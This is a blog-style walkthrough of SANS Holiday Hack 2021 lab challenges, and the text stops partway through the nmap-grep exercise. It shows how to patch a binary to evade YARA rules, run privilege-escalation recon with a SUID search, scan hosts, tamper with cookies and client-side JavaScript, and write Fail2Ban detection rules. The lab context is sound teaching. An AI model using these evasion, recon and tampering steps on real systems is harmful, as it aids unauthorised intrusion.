Kringle Con / Frost Fest 2021
I've decided to try to create a more thorough write-up of KringleCon / Frost Fest this year, but I also don't want to make this unreadably long. So if you're just after the answers, ignore all of the hidden text below and jump ahead to whatever you want to read.
If you're after a bit more depth, in addition to the answers, I've documented:
- the missteps I took trying to figure it out, even all those that lead no where. Mostly because I forget how tough I find stuff and then feel bad whenever I struggle, or I read other people's write-ups and feel intimidated by how easy everything seems to be for them.
- the wider picture: what the challenge teaches us and how it relates to the real world. This will also contain links to additional sources that may be helpful but don't really fit in the challenge. I think this might be helpful for people outside cybersecurity or for when I half-remember something and want to reference it later.
Feel free to expand any of those sections as desired, or leave them all hidden if you're in a rush and just want the answers.
I also want to start by giving a huge thanks to the SANS team, the sponsers and everyone involved in the Holiday Hack! It's always a really fun time and reminds me that I do enjoy cybersecurity. I especially appreciated it this year, since I've been feeling a little bit lost not having a job/workplace to aim for.
Table of Contents
- KringleCon Terminal Challenge 1: Logic Munchers
- KringleCon Terminal Challenge 2: Yara Analysis
- KringleCon Terminal Challenge 3: The Elf C0de
- KringleCon Terminal Challenge 4: Exif Metadata
- KringleCon Terminal Challenge 5: Strace Ltrace Retrace
- KringleCon Terminal Challenge 6: IPv6 Sandbox
- KringleCon Terminal Challenge 7: Fail2Ban
- KringleCon Terminal Challenge 8: Santa's Holiday Hero
- KringleCon Terminal Challenge 9: (Bonus) Log4j Blue Team
- FrostFest Terminal Challenge 1: Grepping For Gold
- FrostFest Terminal Challenge 2: Frostavator
- FrostFest Terminal Challenge 3: IMDS Exploration
- FrostFest Terminal Challenge 4: (Bonus) Log4j Red Team
- Objective 1: KringleCon Orientation
- Objective 2: Where in the World is Caramel Santaigo?
- Objective 3: Thaw Frost Tower's Entrance
- Objective 4: Slot Machine Investigation
- Objective 5: Strange USB Device
- Objective 6: Shellcode Primer
- Objective 7: Printer Exploitation
- Objective 8: Kerberoasting on an Open Fire
- Objective 9: Splunk!
- Objective 10: Now Hiring!
- Objective 11: Customer Complaint Analysis
- Objective 12: Frost Tower Checkup
- Objective 13: FPGA Programming
- Wrap up
KringleCon Terminal Challenge 1: Logic Munchers
The first terminal challenge of 2021 is Logic Chompers, a game where you control "Chompy" and have to move around the board "chomping" all the true values while avoiding Trollogs. The controls are simple and explained at the bottom of the intro screen.
To complete this terminal challenge, we simply have to complete a stage at "Potpourri" at Intermediate or Higher.
Unfortunately all the questions are somewhat randomly generated so I can't just provide the answer but it is reasonably simple to complete on expert with Potpourri by:
- Taking it slowly - I find the boolean logic easiest and the number conversions hardest generally, so I'd only try to figure out the harder ones when I'd chomped all the easiest ones.
- Stay in the centre; Trollogs only come from the sides and always move in a consistent line. The only time I was hit by them was if I hung out by the sides and had one surprise me.
- Be risk averse. There doesn't seem to be a time limit, so if you're 99% sure something is true, wait anyway. It'll eventually change to something you're 100% sure about. Naturally this is worth learning though, so you're really better off trying the hard ones and possibly losing.
The challenge's context
I couldn't find out what this is a reference to (Google suggested chompers.io, but it doesn't seem to be that). At any rate, knowing boolean logic and arithmetic is vital for developers; there aren't many programs that won't check if something is true or calculate some sum. Number conversions are helpful for lower-level development/reverse engineering since computers only understand binary and memory addresses are normally written in hex. They're also useful if you need to perform decimal operations, since these can cause unexpected issues in binary. Bitwise operations can be used for cool tricks and improving performance, but I mostly use them in flags. For example, Unix file permissions use 0b100 for reading, 0b010 for writing and 0b001 for writing (plus others that aren't relevant). If you're allowed to read and write, but not execute, then you'd want the permission to be 0b100 | 0b010 = 0b110, ie 6. If you need to know someone has permission to write, then you'd check "file permissions" & 0b010 != 0
Additionally, NSO seems to have used logic gates to implement their exploits.
KringleCon Terminal Challenge 2: Yara Analysis
The first step to solving this problem is determining which yara rule is causing issues. To do so, we can run
snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app
which shows us yara rule 135 is causing issues
snowball2@b3b1953a4dfa:~$ vim yara_rules/rules.yar
shows us that we, unfortunately, can't modify the rules. That means the simple (insecure) option of deleting the issues won't work. Fortunately we can read it, so we can see the rule is
rule yara_rule_135 {
meta:
description = "binaries - file Sugar_in_the_machinery"
author = "Sparkle Redberry"
reference = "North Pole Malware Research Lab"
date = "1955-04-21"
hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
strings:
$s = "candycane"
condition:
$s
}
This rule is simply looking for the string 'candycane' with no other conditions, so we can use vim to replace all
instances of 'candycane' with 'Candycane'. Simply run vim the_critical_elf_app
and
then type :%s/candycane/Candycane
and enter to replace all the instances, and then
type :wq
to save and exit.
We can then rerun
snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app
to see that rule 135 is now fixed, but rule 1056 is now causing issues.
rule yara_rule_1056 {
meta:
description = "binaries - file frosty.exe"
author = "Sparkle Redberry"
reference = "North Pole Malware Research Lab"
date = "1955-04-21"
hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
strings:
$s1 = {6c 6962 632e 736f 2e36}
$hs2 = {726f 6772 616d 2121}
condition:
all of them
}
Again using vim, this time in hex mode %!xxd
and then searching for 6962 632e 736f 2e36
shows it maps to libc.so.6, and 726f 6772 616d 2121
maps to the end of the string This is critical for the
execution of the program!!
Since the condition is all of them, we can change either. Originally, I thought the string was telling the truth, so I tried switching the version to libc.so.2. You can make that work but it requires cludges with setting the library path, still prints an error and is generally just generally not ideal, so let's pretend I just did the second option, which is to make a minor change to the "critical" string. Switching program!! to pregram!! stops the yara rule from matching and doesn't seem to affect its execution.
snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app
now shows rule 1732 is triggering.
rule yara_rule_1732 {
meta:
description = "binaries - alwayz_winter.exe"
author = "Santa"
reference = "North Pole Malware Research Lab"
date = "1955-04-22"
hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
strings:
$s1 = "This is critical for the execution of this program!!" fullword ascii
$s2 = "__frame_dummy_init_array_entry" fullword ascii
$s3 = ".note.gnu.property" fullword ascii
$s4 = ".eh_frame_hdr" fullword ascii
$s5 = "__FRAME_END__" fullword ascii
$s6 = "__GNU_EH_FRAME_HDR" fullword ascii
$s7 = "frame_dummy" fullword ascii
$s8 = ".note.gnu.build-id" fullword ascii
$s9 = "completed.8060" fullword ascii
$s10 = "_IO_stdin_used" fullword ascii
$s11 = ".note.ABI-tag" fullword ascii
$s12 = "naughty string" fullword ascii
$s13 = "dastardly string" fullword ascii
$s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
$s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
$s16 = "GLIBC_2.2.5" fullword ascii
$s17 = "its_a_holly_jolly_variable" fullword ascii
$s18 = "__cxa_finalize" fullword ascii
$s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
$s20 = "__libc_csu_init" fullword ascii
condition:
uint32(1) == 0x02464c45 and filesize < 50KB and
10 of them
}
That's a lot of rules and I generally like to take the lazy version (I'll sell it as Occam's Razor if I must), but
notably it says uint32(1) == 0x02464c45 and filesize < 50KB and
10 of them
. Filesizes are easy and familiar. I think programs don't care if you add extra data to their end,
so that seems like a good condition to break.
snowball2@b3b1953a4dfa:~$ ls -l the_critical_elf_app
shows that the file is 16688 bytes. You can set up a bash script to just add 'a' or something, or use an existing file. I think an existing file is easiest, but we have to be careful which one we choose so it doesn't trigger any other yara rules (ie, definitely don't use the Yara rules since they will trigger themselves!)
snowball2@b3b1953a4dfa:~$ cp the_critical_elf_app spare_data
snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app
snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app
snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app
snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app
snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564
Why use Yara and remaining questions.
The relevance of YARA is that it's used by researchers to identify and classify malware. I believe it's primarily used in incident response when you think something might be compromised and need to look for signs and figure out whether it is, and maybe as an alternative / addition to anti-virus tools. I couldn't find any clear documentation of exactly what it is used for, so please take that explanation with a grain of salt.
Regarding the challenge, I feel like I missed something with this challenge. The intro says the tools on the system are vim, emacs and nano, yara and xxd. The first three are all editors and I used vim, so we can count them all as effectively used. I used the hex mode of vim, so that's equivalent to xxd. I never used yara though - I tried but it gave me a "Permission denied" error. Is that a hint that there's a way to get root privileges?
Adding to the mystery, ls -l
shows an empty, read-only file ".sudo_as_admin_successful". Running sudo yara
and using the password "admin" or "admin_successful" didn't work, and sudo -u admin yara
prints an error that there's no admin user.
I tried to see if it was just picking up the wrong yara
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
but there doesn't seem to be a runnable Yara elsewhere.
Looking for executables with sticky bits to abuse find / -type f -perm -u=s 2>/dev/null | xargs ls -l
didn't find anything of use, but I did find I could run /usr/bin/gpasswd
to see the intro text again. Unfortunately I'm not sure where else to go from here and have no more time to investigate, so this remains a mystery.
I'm also confused about the dates: 21 04 1955 doesn't seem to have any obvious significance.
KringleCon Terminal Challenge 3: The Elf C0de
As a professional developer who's forgotten what it's like to learn to code, I'll just provide my answers without making a comment on these, since I'm not sure what would be useful. Nothing seemed particularly challenging to me, but if anyone comes across this and doesn't understand the solutions, please feel to post a comment. Learning code is hard to begin with!
Level 0
This level is solved for you; just click run!
Level 1
import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(10)
elf.moveUp(12)
Level 2
import elf, munchkins, levers, lollipops, yeeters, pits
# Gets all lollipops as a list
all_lollipops = lollipops.get()
elf.moveTo(all_lollipops[1].position)
elf.moveTo(all_lollipops[0].position)
elf.moveLeft(3)
elf.moveUp(8)
Level 3
import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
elf.moveTo(lever0.position)
lever0.pull(lever0.data() + 2)
elf.moveTo(lollipop0.position)
elf.moveUp(12)
Level 4
import elf, munchkins, levers, lollipops, yeeters, pits
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveTo(lever4.position)
lever4.pull("A String")
elf.moveTo(lever3.position)
lever3.pull(True)
elf.moveTo(lever2.position)
lever2.pull(3.14)
elf.moveTo(lever1.position)
lever1.pull([])
elf.moveTo(lever0.position)
lever0.pull({})
elf.moveUp(4)
Level 5
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveTo(lever4.position)
lever4.pull(lever4.data() + " concatenate")
elf.moveTo(lever3.position)
lever3.pull(not lever3.data())
elf.moveTo(lever2.position)
lever2.pull(lever2.data() + 1)
elf.moveTo(lever1.position)
lever1.pull(lever1.data() + [1])
elf.moveTo(lever0.position)
data = lever0.data()
data["strkey"] = "strvalue"
lever0.pull(data)
elf.moveUp(4)
Level 6
import elf, munchkins, levers, lollipops, yeeters, pits
lever = levers.get(0)
elf.moveTo(lever.position)
data = lever.data()
if type(data) == bool:
data = not data
elif type(data) == int:
data = data * 2
elif type(data) == list:
data = [x + 1 for x in data]
elif type(data) == str:
data = data + data
elif type(data) == dict:
data["a"] += 1
lever.pull(data)
elf.moveUp(4)
Level 7
import elf, munchkins, levers, lollipops, yeeters, pits
directions = [elf.moveUp, elf.moveDown]
direction_index = 0
for num in range(5): #not sure if number is right
elf.moveLeft(3)
directions[direction_index](12)
direction_index = direction_index ^ 1
Level 8
import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
munchkin = munchkins.get()[0]
for lollipop in all_lollipops:
elf.moveTo(lollipop.position)
elf.moveTo(munchkin.position)
data = munchkin.ask()
munchkin.answer([k for k in data if data[k] == "lollipop"][0])
elf.moveUp(2)
Bonus 1
import elf, munchkins, levers, lollipops, yeeters, pits
def func_to_pass_to_munchkin(list_of_lists):
return sum([x for y in list_of_lists for x in y if type(x) == int])
munchkin = munchkins.get()[0]
all_levers = levers.get()
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2
# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
move(i + 1)
if i < len(all_levers):
all_levers[i].pull(i)
elf.moveUp(2)
elf.moveLeft(4)
munchkin.answer(func_to_pass_to_munchkin)
elf.moveUp(2)
Bonus 2
import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
while (abs(mun.position["x"] - elf.position["x"]) < 6):
time.sleep(0.05)
elf.moveTo(lols[index].position)
elf.moveLeft(6)
elf.moveUp(2)
I don't think many people will wonder about the use of learning to code; that's widely covered in mainstream media.
KringleCon Terminal Challenge 4: Exif Metadata
The task is to find which naughty/nice record was modified by Jack Frost.
If we're lucky, ls -l
will tell us, but unfortunately in this case, all of the files
were last updated on the 23rd of November. Instead, we have to find it in the metadata exiftool * | less
will show us every file's metadata and then we can use /Jack
to jump forward to the file he changed. Scrolling up a bit, will show us it's 2021-12-21.docx
Relevance
Knowing about the amount of metadata contained in photos is important since we now post them everywhere without thought. Location metadata in photos have lead to arrests and could be used for doxxing or stalking.KringleCon Terminal Challenge 5: Strace Ltrace Retrace
kotton_kandy_co@2f8605869d83:~$ ./make_the_candy
tells us that the program is indeed failing due to a configuration file. But which? Originally I tried running:
kotton_kandy_co@2f8605869d83:~$ strace ./make_the_candy
which gave the output:
execve("./make_the_candy", ["./make_the_candy"], 0x7ffc16ac7c30 /* 12 vars */) = 0
brk(NULL) = 0x564e1bb19000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=19540, ...}) = 0
mmap(NULL, 19540, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fdff43b7000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\35\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030928, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdff43b5000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fdff3da2000
mprotect(0x7fdff3f89000, 2097152, PROT_NONE) = 0
mmap(0x7fdff4189000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7fdff4189000
mmap(0x7fdff418f000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fdff418f000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7fdff43b64c0) = 0
mprotect(0x7fdff4189000, 16384, PROT_READ) = 0
mprotect(0x564e1ab72000, 4096, PROT_READ) = 0
mprotect(0x7fdff43bc000, 4096, PROT_READ) = 0
munmap(0x7fdff43b7000, 19540) = 0
brk(NULL) = 0x564e1bb19000
brk(0x564e1bb3a000) = 0x564e1bb3a000
openat(AT_FDCWD, "registration.json", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "Unable to open configuration fil"..., 35Unable to open configuration file.
) = 35
exit_group(1) = ?
+++ exited with 1 +++
But that's a lot to digest, so I wondered if ltrace might be easier:
kotton_kandy_co@2f8605869d83:~$ ltrace ./make_the_candy
fopen("registration.json", "r") = 0
puts("Unable to open configuration fil"...Unable to open configuration file.
) = 35
+++ exited (status 1) +++
Indeed, that's much simpler to parse. The end of the strace output does actually say the same thing, but let's stick with strace while possible.
kotton_kandy_co@b72bff239a4a:~$ touch registration.json kotton_kandy_co@b72bff239a4a:~$ ltrace ./make_the_candy
fopen("registration.json", "r") = 0x56114e8f4260 getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = 2 strstr("{\n", "Registration") = nil getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = 20 strstr("\t"registered": true\n", "Registration") = nil getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = 2 strstr("}\n", "Registration") = nil getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = -1 puts("Unregistered - Exiting."Unregistered - Exiting. )
So it looks like it's looking for "Registration"
in registration.json. Open it with vim and set the
contents to the valid JSON object {"Registration":true}
kotton_kandy_co@b72bff239a4a:~$ ltrace ./make_the_candy
fopen("registration.json", "r") = 0x5558c7719260 getline(0x7ffc2b73fc00, 0x7ffc2b73fc08, 0x5558c7719260, 0x7ffc2b73fc08) = 19 strstr("Registration: true\n", "Registration") = "Registration: true\n" strchr("Registration: true\n", ':') = ": true\n" strstr(": true\n", "True") = nil getline(0x7ffc2b73fc00, 0x7ffc2b73fc08, 0x5558c7719260, 0x7ffc2b73fc08) = -1 puts("Unregistered - Exiting."Unregistered - Exiting. ) = 24 +++ exited (status 1) +++
So clearly that should be {"Registration":True}
Knowing how to use strace and ltrace can be incredibly helpful for diagnosing bugs in software.
KringleCon Terminal Challenge 6: IPv6 Sandbox
Jewel Logons has forgotten the Candy Striper's password. Fortunately, they've stored it on another local machine but unfortunately they don't know that machine's IP. We need to find the password.
The first step has to be finding machines to connect to. To do so, we can send a message to ff02::1
since this address belongs to every host on the local network.
elf@59e7f84e43b8:~$ ping6 ff02::1 -c 3
shows that fe80::42:c0ff:fea8:a002
is the only IPv6-connected host that's responding. There could be
other hosts with ping disabled, but we can worry about that later if this host doesn't have the password.
First step is to find out what services it is running
elf@59e7f84e43b8:~$ nmap -sV -6 fe80::42:c0ff:fea8:a002
will find the services (-sV) running using IPv6 (-6). Because I didn't supply the ports (-p), it'll use the top 1000.
The output shows that port 80 has a web server running, and port 9000 has something unfamiliar that nmap is guessing is cslistener.
elf@59e7f84e43b8:~$ curl http://[fe80::42:c0ff:fea8:a002]:80 --interface eth0
tells us to connect to the other open TCP port to get the password
elf@59e7f84e43b8:~$ curl http://[fe80::42:c0ff:fea8:a002]:9000 --interface eth0
gives us the answer PieceOnEarth
Everyone keeps trying to make IPv6 happen
IPv4 was created when the internet started; no one had expected that everyone would want a device to connect, let alone several. There aren't enough IPv4 addresses for everyone, so they've come up with hacks to keep things working and have started to try to claw back previously assigned IPv4 addresses, but IPv4 addresses are still extremely valuable. The industry wants to move to IPv6 which would provide enough addresses for 100 times the number of atoms on the surface of the earth. People are slow to change, though; IPv6 was launched about a decade ago.KringleCon Terminal Challenge 7: Fail2Ban
To solve this, we need to configure Fail2Ban to block any IP that generates 10 or more failure messages within an hour, based on the logs in /var/log/hohono.log
First step is to look through the logs to figure out how to distinguish a failure from success. less
isn't on the machine, so we'll have to use vim
elf@59e7f84e43b8:~$ vim /var/log/hohono.log
The log follows the format <yyyy-mm-dd hh:MM:ss> <message> where message could be:
- <IP>: Request completed successfully
- Login from <IP> successful
- Login from <IP> rejected due to unknown user name
- Valid heartbeat from <IP>
- Invalid heartbeat '<type>' from <IP>
- Failed login from <IP> for <user>
- <IP> sent a malformed request
First, we have to create a "jail" which tells fail2ban settings such as maxretry (how many logs must be seen before the IP will be blocked), findtime (the window of time the failures should be counted) and bantime (how long to ban the IP).
I'll call it naughtynice
, but you can choose whatever you please.
Open up your text editor of choice and create /etc/fail2ban/jail.d/naughtynice.conf
with the following
[naughtynice]
enabled = true
logpath = /var/log/hohono.log
maxretry = 10
findtime = 1h
bantime = 1h
filter = naughtynice
action = naughtynice
We then need to create the filter to tell fail2ban how to detect suspicious IPs. Fail2ban requires us to use
<HOST> (or a regex group named 'host') to tell it where to pull the client's address from, and it will
automatically parse the date format from the logs so we can ignore that. This means we can basically use the
malicious logs pulled out above to create /etc/fail2ban/filter.d/naughtynice.conf
with the following:
[Definition]
failregex = Login from <host> rejected due to unknown user name
^ Failed login from <host> for
^ <host> sent a malformed request
It may be worth checking the the filter is working now by running:
fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtynice.conf
and checking that all
regular expressions match at least one log.
If everything is running smoothly, we just have to create our action configuration to tell Fail2ban what to do. You probably only need to set the banaction and the banaction to pass the challenge, but I also added the actionstart and actionend options so that I didn't have to run those commands myself.
Create /etc/fail2ban/action.d/naughtynice.conf
with the following:
[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>
actionstart = /root/naughtylist refresh
actionend = /root/naughtylist clear
All that's left to complete the task is to run
elf@59e7f84e43b8:~$ service fail2ban restart
This task took me a while to complete, so if you're interested in the missteps and how I figured them out, click here for more details
Unfortunately this didn't work - I expect that's because I didn't run service fail2ban restart
, but
the task also specifies that you have to create the files, and this doesn't seem to. I think writing the files
is simpler.
I then switched to writing the files but quickly came across a new issue. Running
fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtynice.conf
caused the following
error:
NOTE: self._filter.setMaxLines(int(v))
TypeError: int() argument must be a string, a bytes-like object or a number, not 'NoneType'
A bit of Googling suggested it was because Fail2ban didn't know how many lines should count as one log, so you can set 'maxlines' if needed. The error went away when I added:
[Init]
maxlines = 1
to the top of the filter.d config file. Unfortunately that just created a new issue:
Traceback (most recent call last):
File "/usr/bin/fail2ban-regex", line 34, in
exec_command_line()
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 765, in exec_command_line
if not fail2banRegex.start(args):
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 706, in start
self.process(test_lines)
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 510, in process
line_datetimestripped, ret, is_ignored = self.testRegex(line)
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 456, in testRegex
found = self._filter.processLine(line, date)
File "/usr/lib/python3/dist-packages/fail2ban/server/filter.py", line 581, in processLine
(timeMatch, template) = self.dateDetector.matchTime(l)
AttributeError: 'NoneType' object has no attribute 'matchTime'
A lot of Googling got me nowhere, but fortunately a fellow KringleCon attendee gave me a hand (thanks John_r2), and we figured out it was caused by my filter file beginning with [DEFINITION] rather than [Definition]
With that sorted, the filter was working, but I still wasn't getting IPs on the naughty nice list. Looking at /var/log/fail2ban.log showed the following error:
Error banning 199.24.243.52
2021-12-26 22:45:30,220 fail2ban.actions [172]: NOTICE [naughtynice] Ban 221.64.114.254
2021-12-26 22:45:30,223 fail2ban.utils [172]: ERROR 7f83b6742260 -- exec: naughtylist add 221.64.114.254
2021-12-26 22:45:30,223 fail2ban.utils [172]: ERROR 7f83b6742260 -- stderr: '/bin/sh: 1: naughtylist: not found'
2021-12-26 22:45:30,223 fail2ban.utils [172]: ERROR 7f83b6742260 -- returned 127
2021-12-26 22:45:30,224 fail2ban.utils [172]: INFO HINT on 127: "Command not found". Make sure that all commands in 'naughtylist add 221.64.114.254' are in the PATH of fail2ban-server process (grep -a PATH= /proc/`pidof -x fail2ban-server`/environ). You may want to start "fail2ban-server -f" separately, initiate it with "fail2ban-client reload" in another shell session and observe if additional informative error messages appear in the terminals.
This is pretty simple to fix; the action file just can't find the command naughtylist
, so we need to
provide the full path: /root/naughtylist
With that sorted, everything was working and IPs were getting blocked. But apparently not enough and/or not the right ones.
I used a couple of different techniques to try to debug this:
- Downloading the hohono.log via the browser's network tab so I could use VS Code to use it's regex find-and-replace function to remove matching and deliberately-not-matching logs
- Looking at the matched IPs and grepping for them in the logs to try to determine if they seemed suspicious to me
- Switching the config maxretry to 9, since the challenge says "10 or more", and maxretry should mean "more than"
- Watching, and re-watching Andy Smith's very helpful talk
- Random trial and error. Originally, I thought
Invalid heartbeat '.+' from <HOST>
should be a filter, and I missed the<HOST> sent a malformed request
log. Having both caused too many false positives but I didn't entirely see why, so I tried all four logs, without malformed request and just the two obvious ones, along with variations over how strict the regex was (which seemed to make no difference to the matches) before finally figuring out the correct three.
Relevance
Users frequently reuse passwords, use weak passwords or leave default passwords on accounts. This is an easy target for attackers who create scripts to "password spray/stuff", ie trying obvious passwords or those leaked in other breaches to try to get into other users' accounts. This is both a very common attack, and also generally quite a successful one. Fail2Ban helps protect against this by detecting IPs that are making multiple failed attempts to login and then blocking them. The other ways to deal with these sorts of attacks are CAPTCHAs (to prevent automation), multifactor authentication (so attackers also have to control a device, not just the password), or IP restrictions (so only trusted users can access the server), but these all have an impact on genuine users so businesses are often reluctant to implement any. Fail2Ban isn't a solution alone, but it can help a lot and generally won't be stymied by non-technical interests.KringleCon Terminal Challenge 8: Santa's Holiday Hero
holidayhero.js
:
single_player_mode = !1,
...
spi = setInterval(function () {
single_player_mode &&
(clearInterval(spi),
player2_label.showMessage('P2: COMPUTER (On)'),
player2_power_button.anims.play('power_on'),
toastmessage.showMessage('Player 2 (COMPUTER) has joined!'),
player2_power_button.anims.pause())
}, 100);
...
a = setInterval(function () {
player2_name &&
(clearInterval(a),
player2_label.showMessage('P2: ' + player2_name +
(player2_power_button_on ? ' (On)' : ' (Off)')),
single_player_mode || username === player2_name ||
(toastmessage.displayTime = 2000,
toastmessage.showMessage(`Player 2 (${ player2_name }) has joined!`)))
}, 100),
...
intro_scroll_button.on('pointerup', () =>{
intro_scroll_button.destroy(),
intro_scroll.destroy(),
intro_scroll_text.destroy(),
intro_scroll_header.destroy(),
scroll_bg.destroy(),
player1_name != username || player2_name ||
single_player_mode || (toastmessage.displayTime = 3000,
toastmessage.showMessage('Waiting for a second player'))
}),
As shown, this sets single player to false, and then periodically polls to see if another player has joined or if single_player_mode is enabled.
I find the simplest way to change the JavaScript variable is to set a "watch expression" to do that for me as shown on the bottom right below:
There are other options such as modifying the js file before it's sent to your browser, or setting a breakpoint and modifying the setting in the console, which seem nicer but more effort.
Unfortunately this alone doesn't work; the server has to send the notes but it's still waiting for another player to join. So the game just sits there with nothing to do.
Clearly client-side changes are not enough, but what parameter needed to be changed? I find browser tools aren't particularly effective at searching across multiple request-responses (or perhaps I just haven't figured out how), so I proxied the site in Burp and again searched for 'single'. As shown below, it's in a cookie:
So now we just have to modify that cookie to replace false with true. If you like Firefox as much as me, you can switch back and do that in the "Storage" tab of the developer tools panel.
The other player's username is still handled-client side, so this must be combined with the JavaScript change in order to play the game.
To fully complete the challenge, you then have to actually play the game and hit at least a few of the notes (fortunately not too many!)
Relevance
Cookies are pretty important for security since so many sites use them to determine if a user is logged in. I can't find many examples of public breaches due to cookies being quite so weak as in this challenge, but developers must always keep in mind that they are attacker-controlled data that can't be blindly trusted.KringleCon Terminal Challenge 9: (Bonus) Log4J Blue Team
SANS has created a superbly beginner-friendly intro to the Log4shell vulnerability, so I don't have much to add here - go do it if you're not already familiar with the issue!
The only thing I can add is that if Log4j is successfully exploited, the JNDI string will NOT be logged. That makes it pretty hard to know if your site was actually compromised before you updated.
For interest's sake, the vulnerable code is here, and works recursively, so nesting and placing lookups next to each other can all cause issues.
FrostFest Terminal Challenge 1: Grepping for Gold
What port does 34.76.1.22 have open?
We can find this by simply searching for 34.76.1.22 and then looking at the output
cat bigscan.gnmap | grep 34.76.1.22
Host: 34.76.1.22 () Status: Up
Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)
62078
What port does 34.77.207.226 have open?
elf@89850edd0dbd:~$ cat bigscan.gnmap | grep 34.77.207.226
Host: 34.77.207.226 () Status: Up
Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)
8080
How many hosts appear "Up" in the scan?
We can do this by searching for "Up" and then counting how many lines match
cat bigscan.gnmap | grep Up | wc -l
26054
26054
How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
Grep allows you to specify multiple searches using -e, so we can once more use wc to count how many lines match
cat bigscan.gnmap | grep -e 80 -e 443 -e 8080 | wc -l
15035
Unfortunately this also shows hosts with those ports 'filtered', or potentially 'closed' so we need to be more specific:
cat bigscan.gnmap | grep -e 80/open -e 443/open -e 8080/open | wc -l
14372
There's also nothing stopping a host from using those ports for UDP. It's unlikely, but we the question specifies TCP, so the accurate search would be:
cat bigscan.gnmap | grep -e 80/open/tcp -e 443/open/tcp -e 8080/open/tcp | wc -l
14372
14372
How many hosts with status Up have no (detected) open TCP ports?
Originally I tried to use a negative regular expression:
cat bigscan.gnmap | grep -e "cat bigscan.gnmap | grep -e "Status: Up\s*\n[^t]+" | wc -l" | wc -l0
0
but that clearly didn't work. So the other option is to look for how many hosts have tcp ports:
elf@89850edd0dbd:~$ cat bigscan.gnmap | grep -E "tcp" | wc -l
25652
And then we can subtract this from the number of hosts with status Up (found above): 26054 - 25652 = 402
402
What's the greatest number of TCP ports any one host has open?
We're checking the 1000 most common ports of each host, and it will always print the number of filtered ports after. So we could use a regex to perform a sort of binary-ish search to see how many ports are open.
I started with 95x filtered ports, which found nothing:
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (95.)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (97.)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (98.)"
